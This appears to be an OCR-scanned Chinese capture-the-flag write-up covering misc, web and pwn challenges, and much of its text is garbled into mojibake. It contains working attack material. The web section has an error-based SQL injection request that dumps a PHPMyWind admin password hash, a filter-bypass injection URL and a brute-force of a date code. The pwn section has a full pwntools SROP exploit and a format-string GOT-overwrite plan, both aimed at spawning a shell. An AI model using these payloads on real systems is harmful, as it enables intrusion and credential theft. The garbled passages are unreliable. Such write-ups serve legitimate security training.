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Brainfuck/Ook! Obfuscation/Encoding

This tool can run programs written in the W Brainfuck and Ook! programming
languages and display the output.

It can also take a plain text and obfuscate it as source code of a simple program o
the above languages.

All the hard work (like actually understanding how those languages work) was don
by Daniel Lorch and his Brainfuck interpreter in PHP

flag [e67HB00a-0604-4220-b159-d565441540:3]

Text to Ook! | [ Text to short Ook! | | Ook! to Text |
Text to Brainfuck | | Brainfuck to Text |

The source can be found at github.

RIATBAAIR R B F R, wmIZFF

UL B SRR ERFE A brian(Y) . bf

MEALLRAFG AN FRA—H, ZRENBRIIANAENFZHPAE, KIA brainfuck XFFwEES, FHCESHS
) brainfuck #REES, BITRMEIILR.

RRRARELT:







miFER HlexefBfr, wA1THE4: bf.exe brian(Y).bf
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= githt 58, EHEMA lijiejie A

GitHack-mas itHack. py http://106. 75

flag{027ea8c2-7be2-4cec-aca3-b6badeo759e8}

PHPMyWIND

Wi, —IFLEME Sk, R0 R 000000 IEFRMASINE . « « WA, ERBwplHmLm. . .

can Results Status
wew cid=4 OK
= @ newsshow.php oK
wevt cid=4, id=17 OK
comment=%e8%a... oK
wew cid=4, id=18 OK
waw cid=4, id=19, page=2 OK
wevt cid=4, id=19 OK
waw cid=4, id=19, page=1 oK

= order.php Found
(& orderpay.php oK
E= product.php OK
wee g =5 OK
wew cid=7 OK
wew keyword=1 oK
E= productshow.php OK
waw cid=7, id=2 oK
comment="%e8%a... OK
we cid=5, id=4 OK
wev cid=6, id=5 OK
wew cid=6, id=3 OK
robots. txt OK
= @ shoppingcart.php oK
a=addsh..., attrid_1="%E7%?9..., attrid_2=GSM, buynum=e, goodsid=1, typeid=10 OK

waw z=pmpty Found
wew 3=huyno... OK
@ soft.php oK
E= softshow.php OK
wew cid=11, id=1 OK
comment="%e8%a... OK
wee cid=11, id=2 OK

L L Ea



RIEF#EM R, RTERRRE, £d—FMREK order. php A 198
RIVXANRIFE: http:/0day5.com/archives/1442/
WA, AnF Acookie B iRIRAEIR B AR RE, KIAT B

PHPMyW’nd A SEd RS

EiRME © 400-800-8888
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http://0day5.com/archives/1442/

UL, R AR EBRAT

GET

E /order. php?id=—@ ' %200nIon%20select%20usernans%20fron%20 puw_adnin %20where%20(s
elect%201%20fron%20 (select%20count () %20, concat (0xTc, (select%20concat (usernane, 0
x3a, password) $20fron%20pmv_adnin%201init%200, 1), 0x7c, floor (rand (0)*2) ) x%20fron%2
Oinformation_schena. tables%20group®20by%20x%2011ini t%200, 1) a) %20and%20id=a "~
HTTP/1.1

Host: 106. 75. 96, 7:3089

User—Agent: Mozilla/5.0 (Vindews NT 10.0; VOW64; rv:53.0) Gecko/20100101
Firefox/53.0

Accept: text/htnl, application/zhtnl+xnl, application/xml; q=0. 9, */*; g=0. 8
Accept-Language: zh-CH, zh g=0. 8, en-US;g=0. 5, en; g=0. 3

Accept-Fncoding: gzip, deflate

M Cookie: PHPSESSID=16n329fqghjvg3hg4lbujnavtT; username=a; shoppingcart=h

@ Comnection: close

Upgrade-Insecure-Requests: 1

B 5 g B ]

T

<ftr
tre
<td height="40" align="right” >MeiXy: </td>
<tdr<select name="postnode” id="postmode” >
<option value="-1" >k ENiE A N /option>
<diwv
style="font—fanily: W cfont-size:12px; " ><h3
style="margin:0:padding:0;line-height:30px; color:red; " "PHPMyWind % 4= 8 i :
1 Error! </h3><strong #fi5t{F</strong>: forder. phpibr
[r<strong S {EEL</strong>: Duplicate entrv
|admin: 4027875a97a7787h9032ea46dae45d05|1" for key ’group_key’ Error
sql: SELECT postmode  FROM pmw_goodsorder WHERE id =@ ° UnIon
select username from pmw_admin' where (select 1 from (select count ()
,concat{0x7c, {select concat(username, 0x3a, password) from pmw_admin
limit 0,1), 0x7c, floor (rand{(0)*2) ) x from information_schema. tables
group by x limit 0,1)a) and id=@ ’ </div><option
value="1">Hifi</option»<option walue="2" i< /option><option
value="3">[Bifi</option><option value="4">Mi3</option><option

MvSq

value="5" EMS</option> <fselect></td>
ftre
<tre
PURET ORI P RN PO SR P Y T S PR

IESAHASH[4027875a97a7787b9032ead6daed 5d05]8R82 =20 -

)95 B8:66888

Vil

'..”J":'I,” Eégﬂgﬁ Beta

© 2013 phpMyWind

|| o ommy | T

4 | softshow.php

FsEREE 4 | goods.php
ERREEE 4 | flagdaed82cdabe.txt
B EsE | HRHER
EmiEEE 41| message.php
ML L A4 | header.php

SHERES

4 | vote.php
EUAEREE

A4 | footer.php
HESEH

4| lefter.php
2 2013 phpMyWind.com

all Rights Reserved. 4| shoppingcart.php

4 | productshow.php
4| product.php

A | orderpay.php

L | EEERIGEA +ut




— C € | ® 106.75.96.7:3089/flag4ae482cdabe.txt

2 wm @ &= G Google | EAMLE - MOOC | TRFS

flag {14070cYe-babb-47ac-88f 7-9eb74b d3281 6}

JE&

T )E

admin

code: E{:“ﬂm E

Fi P %admin, FAHIE, EIRRZ2017F/E ], FHRZ 2017xxxx , Fburpsuite/& B v]

Request | Payload | Status | Emor | Timeout |Length & Comment
126 20170506 200 L] L] 373
0 200 O Ol 429
1 20170101 200 ] O] 429
2 20170102 200 O Ol 429
3 20170103 200 ] O] 429
4 20170104 200 O Ol 429
5 20170105 200 ] O] 429
6 20170106 200 O Ol 429
T 20170107 200 ] O] 429
8 20170108 200 O Ol 429

Request | Response ]

J Raw | Headers | Hex |

HTTP/1.1 200 CK

Date: Sat, 06 Mav 2017 05:37:56 GNT

Server: Apache/2. 4.7 (UThuntw

¥-Powered-By: PHP/S. 5. 9-1lubuntu4. 19

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache—Control: no—store, no—cache, must-revalidate, post—check=0, pre—check=0
Pragma: no—cache

Content-Length: 48

Connection: close

Content-Type: text/html

OK<hr:flag {2ac81311-0d7c—4f52-92ae—233ba3515a6d}




thinkseeker

FTFF, index.php~ IR EIEERG






W TEEZHAERA, LTk, |, 4, FH
RER—THES

HTERARNSHERAERGS, MUAREREGRE, HEEMH %a 5id

token®] L E ¥ H admin FImdSZE&E 5, AR5 —FF 4 infoid=1%0aor%eal=-1 B EHIT, AR/5H Tuserid AgEE —ME, HHT
password NEE FRE), BIrES, XEBRER T —NEH

Whk:  (https:/razOr.name/other/phdays-2013-ctf-blade-writeup/)

A PAF with rollup, EXANERGIFARGERE, FEAMTME T EE(sum,avg...), £HKIIB—ITH password 5 R EE& NULL BT LA
Z.JG password fEZ AT LL.

i

, HE select, from, ascii, substr HELA] AR B E, AIFENRLIE

N — W oWl AS3 LnuypUUIT LUy wue

@l Load URL | http://106.75.117.4:3083/?token=21232f297a57a5a743894a0e4a801fc3&userid = 1%0a||%0a1%0agroup%0aby%0apassword%0awith%0arollup%0alimit¥%0a1%0aoffset¥%0al &password = &infoid = 1%0a%26%26%0a1=1
% split URL
’ Execute

[] Enable Post data [ Enable Referrer
@2m~ Acookiesw p cssv [l=w- @ER~ @MmEE- Qe Amc- FRie ATS- mEsFtE LUan- Q ¢ @
flag is in flag!

o —
Password! |

BT AR, BURSIARS, LK —THIEIER

e g ey —ee

@l Load URL | http://106.75.117.4:3083/?token=21232f297a57a5a743894a0e4a801 fc3&userid=1%0a||%0a1 %0agroup%0aby%%0apassword%0awith90arollup%0alimit¥%0a1%0acffset%0a &password =&infoid =1%0a%26%26%0a1=1

% spliturL
J Execute
[ Enable Post data [ Enable Referrer

@z~ AcCookiesv £ Cssv [I=ey @ERY @NmES~ E=tlniy FiRcr SEm ATE mEErREY Wi Q 0 @
flag is in flag! =~ T=—
UserlDi |
Password] |

submit

INT v = & SQLv XS5* Encryption Encoding= Other~

@l Load URL | http://106.75.117.4:3083/?token=21232f297a57a5a743894a0e4a801fc3&userid=1%0a||%0a1%0agroup%0aby%0apassword%0awith%0arollup%0alimitss0a19%0aoffset%0a &password=&infoid=1%0a%26%26%0a1=2

% split URL
» Execute

[] Enable Post data [] Enable Referrer
@z~ LcCookiesw # Cssv [I=m~ @EE~ OMEEsy @ty Fmoy SR ATE- MEERAEY 1an- Q ¢« @

error sql! e
UserD: |
Password] |

submit

A] LARIIE 24 S5 THE AN BRI R IR B 2 flag is in flag!
Ji1ZN


https://raz0r.name/other/phdays-2013-ctf-blade-writeup/

PWN

pwn1

—AME BB L, T B, ERrop, BR324 R4 EpwntoolsHI{E, ) FH 44 ropEITT .



pwn2

TEXHE, DA

livoid _ edeecl _ noreturn main()
2|{
3| int v0; // [=sp+lCh] [bp-404h]@2
4 int v1; // [sp+41Ch] [bp-4h]lel
5
6| vl = *MK FP(__GS__, 20);
7 while ( 1 )
8 {
9 _memset(§v0., 0, 0x400y) ;
10 read (0, &v0, 1024u);
11 printf ( (const chaxr *)&v0);
12 fflush (stdout) ;
13 }
14(3
B 2 A A A BB UL

FIFEHBEH: (re2libc)

1.5%, MtiKsystemihil, X B # FHpwntools f) DnyELF

2885, ¥ printf RMENGOTRI, &S Nsystem Kbk, XFEE XA printf B, LkR&AAsystem

&G, BREAPATHIEE, FIFHread A, /bin/sh FRFE, X printf('/bin/sh') , 2% M, system('/bin/sh")

EXP:



cd home
1s

pwn

pwnl

pwn2

pwn3

pwno6

€dl TLldg. CxC
Flgg{SfZE)BaaBcc6dbd426f2149055?8b6969} |




pwn4
WA FHSROP, T SROPiEHAT google
M

% 20 F read i1 [51{E % A H At i syscall

5 R F write it 58 4% bk

= EF Hread¥ /bin/sh B A stack—AN3RA11 2 &1 # ik
TE stack pivot F|—ANRATC A HukE

B G execve("/bin/sh")

HERNFEFRERRERTLL, expnT:



#! python
from pwn import *

context.binary = './pwn4’

process('./pwn4")
remote('106.75.66.195"', 11006)
f#leak stack addr
payload = p64(0x4000b0)
payload += p64(0x4000b3)
payload += p64(0x4000b0)

io.sendline(payload)

io.send('\xb3")

sleep(2)

LeakMsg = io.recvn(0x400)

leak_addr = u64(LeakMsg[0x8:0x8+8])
log.info("leak_addr:"+hex(leak_addr))

stack_addr = leak_addr-0x500
log.info("stack_addr:"+hex(stack_addr))

binsh_addr = stack_addr+0x300
log.info("binsh_addr:"+hex(binsh_addr))

Hwrite /bin/sh to stack
syscall addr = 0x4000be

= SigreturnFrame()

.rax constants.SYS_read

.rdi 0

.rsi stack_addr

.rdx = 0x400

.rsp stack_addr

.rip syscall addr

payloadl = p64(0x4000b0)+p64(syscall addr) #signturn
payloadl += str(frame)

io.sendline(payloadl)
sleep(2)
io.send(payloadl[0x8:0x8+15])
sleep(2)
texecve (" /bin/sh")
= SigreturnFrame()
.rax = constants.SYS_execve
.rdi = binsh_addr
.rip = syscall addr

payload2 = p64(0x4000b0)+p64(syscall addr)
payload2 += str(frame)
payload2 += 'a' * (0x300-len(payload2)) + '/bin/sh\x00'

io.sendline(payload2)
sleep(2)
io.send(payload2[0x8:0x8+15])
sleep(2)

io.interactive()




= python pwn4_writeup.py

/home/pwn

: line 2: cd: /home/pwn: No such file or directory
. fhonme

pwn

: line 4: cd: pwn: No such file or directory

pwn

: line 5: cd: pwn: No such file or directory

pwn6
cat flag.txt
flig{2b1ed208?Tebc0902e3fe1877adcc9?3}

pwnb

XA T canaryBid, (HRRESE, FIFREREMATLL, BHEAZ I ek flaghb b 527 ik &bssB, Bk LB
_flagi ik g wT DA lflag .
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